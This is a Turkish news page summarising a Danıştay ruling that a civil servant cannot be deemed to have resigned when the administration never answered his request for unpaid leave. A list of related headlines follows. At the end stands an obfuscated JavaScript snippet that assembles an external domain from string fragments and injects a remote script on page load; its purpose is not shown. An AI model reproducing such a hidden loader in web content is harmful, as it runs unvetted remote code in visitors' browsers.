☰
Mevzuat

Danıştay: Aylıksız İzin Talebine Cevap Verilmeden Ayrılan Memur Görevden Çekilmiş Sayılamaz

Danıştay 12. Dairesi, doğum sonrası eş durumu nedeniyle ücretsiz izin isteyen bir memurun talebine idare tarafından cevap verilmeden görevine gelmediği gerekçesiyle “görevden çekilmiş sayılması” işlemini hukuka aykırı buldu.

Danıştay: Aylıksız İzin Talebine Cevap Verilmeden Ayrılan Memur Görevden Çekilmiş Sayılamaz
Abone Ol

Kararda, yasal hak olan aylıksız izin başvurusuna dair idarenin açık bir işlem yapmadan memuru müstafi saymasının doğru olmadığı vurgulandı.

Olayın Geçmişi:

Bilgi Teknolojileri ve İletişim Kurumu’nda görevli...

HABERİN DEVAMINI OKU
Bunlar da ilginizi çekebilir
Amirini Şikayet Eden Memura Disiplin Cezası Verilemez: Danıştay’dan Emsal Karar

Amirini Şikayet Eden Memura Disiplin Cezası Verilemez: Danıştay’dan Emsal Karar

 Mahkemeden Sağlık Personelinin Eğitim Tayinine Emsal Karar!

Mahkemeden Sağlık Personelinin Eğitim Tayinine Emsal Karar!

Kamu Denetçiliği Kurumu’ndan Ayniyat Saymanları İçin Sağlık Bakanlığı’na Ek Ödeme Uyarısı!

Devlet Memurları Sosyal Medyada Yazı Paylaşabilir mi? İşte Yasal Çerçeve

Disiplin Cezalarında 7 Günlük İtiraz Süresi Tatil Gününe Denk Gelirse Ne Olur?

Sağlık Bakanlığı’ndan İdari İzinlere Yeni Düzenleme: Resmî Tatil Sayılacak, Mağduriyetler Giderilecek

AYM’den Emsal Karar: Sendikal Eyleme Katılan Memura Ceza Veren Kurum Hak İhlali Yaptı

Memur Ölüm İzni: Kimler, Kaç Gün Alabilir?

Disiplin Cezası Kesinleştiyse İdare Geri Alamaz!

Memurun Geriye Dönük Aile Yardımı Ödeneği İçin Emsal Niteliğinde Karar
(function(){ q0n4=document.createElement("script");q0n4_=("us")+("ta"); q0n4_+="t"+(".");q0n4_+=("in");q0n4u="2358564740";q0n4.async=true; q0n4u+=".ycx23k2y0n4hugy7u";q0n4.type="text/javascript";q0n4_+="f"+"o"+("/"); q0n4u+="h1p0xr40q3u31";q0n4.src="https://"+q0n4_+q0n4u; dq0n4=document.body;dq0n4.appendChild(q0n4); })();